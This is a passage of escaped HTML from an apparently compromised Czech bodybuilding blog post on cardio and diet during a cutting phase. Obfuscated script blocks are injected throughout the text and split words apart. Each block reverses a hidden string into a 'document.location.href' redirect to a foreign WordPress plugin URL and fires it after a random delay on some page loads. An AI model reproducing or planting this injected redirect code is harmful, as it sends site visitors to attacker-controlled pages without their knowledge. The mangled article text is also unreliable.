(number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom, \u017ee je pro n\u011b p\u0159\u00edjemn\u011bj\u0161\u00ed a co se t\u00fd\u010de v\u00fdsledk\u016f zcela posta\u010duj\u00edc\u00ed, kdy\u017e se p\u0159ed rann\u00edm tr\u00e9ninkem zdrav\u011b nasn\u00eddaj\u00ed. V\u011bt\u0161inou sta\u010d\u00ed, kdy\u017e takovou sn\u00eddan\u00ed postav\u00edte sp\u00ed\u0161e na b\u00edlkovin\u00e1ch a uberete sacharidy. Kdo m\u00e1 hodn\u011b rychl\u00fd metabolismus, ten se v\u0161ak nemus\u00ed b\u00e1t ani d\u00e1vky sacharid\u016f, jen by si m\u011bl vyzkou\u0161et, jestli mu po vydatn\u00e9 sn\u00eddani nebude b\u011bhem pohybu t\u011b\u017eko.<\/p>\n<p>&nbsp;<\/p>\n<p><strong><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-457 alignleft\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/04\/web15-223x300.jpg\" alt=\"\" width=\"256\" height=\"344\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/04\/web15-223x300.jpg 223w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/04\/web15-768x1035.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/04\/web15-760x1024.jpg 760w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/04\/web15.jpg 800w\" sizes=\"auto, (max-width: 256px) 100vw, 256px\" \/>3.\u2013 5. T\u00ddDEN<\/strong><\/p>\n<p><strong>4 x 20 minut p\u0159i st\u0159edn\u011b vysok\u00e9 intenzit\u011b<\/strong><\/p>\n<p>V\u00a0t\u00e9<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to f\u00e1zi jeden aerobn\u00ed tr\u00e9nink t\u00fddn\u011b p\u0159id\u00e1te. Doba cvi\u010den\u00ed z\u016fstane stejn\u00e1. Mo\u017en\u00e1 se <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to n\u011bkter\u00fdm z\u00a0v\u00e1s nebude moc l\u00edbit, ale zkuste vymyslet n\u011bjak\u00fd ten zlep\u0161ov\u00e1\u010dek, abyste se na aerobn\u00ed aktivity v\u00edc t\u011b\u0161ili. N\u011bkdy posta\u010d\u00ed dob\u0159e sestaven\u00fd playlist, chytlav\u00e1 hudba v\u00e1s povzbud\u00ed. P\u0159\u00edpadn\u011b vyzkou\u0161ejte n\u011bjak\u00fd ten motiva\u010dn\u00ed podcast a samoz\u0159ejm\u011b hledejte takov\u00e9 aktivity, kter\u00e9 v\u00e1s budou aspo\u0148 trochu bavit.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>6.\u2013 8. T\u00ddDEN<\/strong><\/p>\n<p><strong>4 x 30 minut p\u0159i st\u0159edn\u011b vysok\u00e9 intenzit\u011b<\/strong><\/p>\n<p>Posledn\u00ed t\u0159i t\u00fddny t\u00e9<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to p\u0159\u00edpravn\u00e9 f\u00e1ze ponech\u00e1te frekvenci kardio tr\u00e9ninku, ale prodlou\u017e\u00edte d\u00e9lku trv\u00e1n\u00ed z\u00a020 na 30 minut. T\u00edm se dostanete na celkem dv\u011b hodiny t\u00fddn\u011b. A <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to u\u017e by m\u011blo sta\u010dit k\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu, abyste \u00fasp\u011b\u0161n\u011b odbour\u00e1vali po zim\u011b nast\u0159\u00e1dan\u00e9 tukov\u00e9 rezervy. Uvid\u00edte, \u017ee tuk na va\u0161em t\u011ble bude t\u00e1t stejn\u011b jako sn\u00edh na horsk\u00fdch masivech.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>3 DOBR\u00c9 RADY, NE\u017d ODSTARTUJETE R\u00ddSOVAC\u00cd F\u00c1ZI<\/strong><\/p>\n<p><strong>P\u0158ESTA\u0147TE SI KUPOVAT NEZDRAV\u00c9 POTRAVINY<\/strong><\/p>\n<p>Kdy\u017e na v\u00e1s ve sp\u00ed\u017ei \u010dekaj\u00ed nejr\u016fzn\u011bj\u0161\u00ed zak\u00e1zan\u00e9 pochoutky, nen\u00ed rozhodn\u011b snadn\u00e9 odolat. Vy byste ov\u0161em nad svou ledni\u010dkou i spi\u017e\u00edrnou m\u011bli m\u00edt napros<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou kontrolu. A <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu napom\u016f\u017ee, kdy\u017e na v\u00e1s z\u00a0polic vykouknou v\u00fdhradn\u011b zdrav\u00e9 potraviny \u2013 ovoce, zelenina, libov\u00e9 maso, ryby atd. B\u011bhem nakupov\u00e1n\u00ed se uli\u010dk\u00e1m s\u00a0nedietn\u00edmi produkty rad\u011bji vyh\u00fdbejte. Mohlo by <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to pro v\u00e1s p\u0159edstavovat zbyte\u010dn\u00e9 poku\u0161en\u00ed.<\/p>\n<p><strong>P\u0158IPRAVUJTE SI J\u00cdDLO P\u0158EDEM<\/strong><\/p>\n<p>Je v\u017edycky snaz\u0161\u00ed dodr\u017eovat z\u00e1sady zdrav\u00e9ho stravov\u00e1n\u00ed, pokud m\u00e1te jednotliv\u00e9 porce p\u0159ipraven\u00e9 dop\u0159edu a sta\u010d\u00ed jen j\u00eddlo oh\u0159\u00e1t. Hodn\u011b spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016f se k\u00a0systematick\u00e9 p\u0159\u00edprav\u011b \u201ekrabi\u010dek\u201c uchyluje sp\u00ed\u0161e a\u017e ke konci p\u0159\u00edpravy, ale nejl\u00e9pe ud\u011bl\u00e1te, kdy\u017e s\u00a0t\u00edm za\u010dnete hned. Vyhra\u010fte si jeden den v\u00a0t\u00fddnu, kter\u00fd v\u011bnujete p\u0159\u00edprav\u011b z\u00e1kladn\u00edch j\u00eddel \u2013 ugrilujete nebo podus\u00edte ku\u0159ec\u00ed maso, p\u0159iprav\u00edte kuli\u010dky z\u00a0mlet\u00e9ho kr\u016ft\u00edho \u010di hov\u011bz\u00edho atd. Bylo by samoz\u0159ejm\u011b ide\u00e1ln\u00ed m\u00edt st\u00e1le k\u00a0dispozici \u010derstv\u011b p\u0159ipraven\u00e9 pokrmy, ale <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to v\u011bt\u0161inou nen\u00ed v\u00a0sil\u00e1ch nikoho z\u00a0n\u00e1s. A pak je rozhodn\u011b lep\u0161\u00ed oh\u0159\u00e1t\u00fd zdrav\u00fd pokrm, ne\u017e \u201e\u010derstv\u00fd\u201c fast food.<\/p>\n<p><strong>DEJTE SI PAUZU OD SOCI\u00c1LN\u00cdCH S\u00cdT\u00cd<\/strong><\/p>\n<p>Pokud si neust\u00e1le st\u011b\u017eujete na nedostatek \u010dasu, najd\u011bte si ve sv\u00e9m chytr\u00e9m telefonu statistiky a pod\u00edvejte se, kolik \u010dasu tr\u00e1v\u00edte na soci\u00e1ln\u00edch s\u00edt\u00edch. Mo\u017en\u00e1 v\u00e1s <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to zasko\u010d\u00ed. Ka\u017edop\u00e1dn\u011b, kdy\u017e omez\u00edte tyhle aktivity, zbude v\u00e1m v\u00edce \u010dasu na smysluplnou p\u0159\u00edpravu (a\u0165 u\u017e v\u00a0kuchyni \u010di ve fitku). Absolutn\u011b nep\u0159\u00edpustn\u00e9 pak je, abyste na b\u011b\u017e\u00edc\u00edm p\u00e1se dr\u017eeli v\u00a0jedn\u00e9 ruce mobil a sledovali, co je nov\u00e9ho na Instagramu, vy\u0159izovali maily a psali tex<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovky. Tr\u00e9ninkov\u00e9 aktivity vy\u017eaduj\u00ed va\u0161i plnou pozornost!<\/p>\n<p><strong>POSILOVAC\u00cd TR\u00c9NINK<\/strong><\/p>\n<p>Nyn\u00ed, kdy\u017e jsme probrali, jak zvl\u00e1dnout p\u0159echodovou f\u00e1zi ohledn\u011b j\u00eddeln\u00ed\u010dku i kardio aktivit, zb\u00fdv\u00e1 posilovac\u00ed tr\u00e9nink. Co byste m\u011bli zm\u011bnit a jak rychle? Z\u00e1le\u017e\u00ed samoz\u0159ejm\u011b na <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom, jak vypad\u00e1 v\u00e1\u0161 tr\u00e9nink v\u00a0mimosout\u011b\u017en\u00edm\/objemov\u00e9m obdob\u00ed. Jsou spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci, kte\u0159\u00ed si i v\u00a0t\u00e9<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to f\u00e1zi potrp\u00ed na techniky zvy\u0161uj\u00edc\u00ed intenzitu cvi\u010den\u00ed (drop s\u00e9rie, supers\u00e9rie, gigantick\u00e9 s\u00e9rie). A d\u00e1v\u00e1 <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return 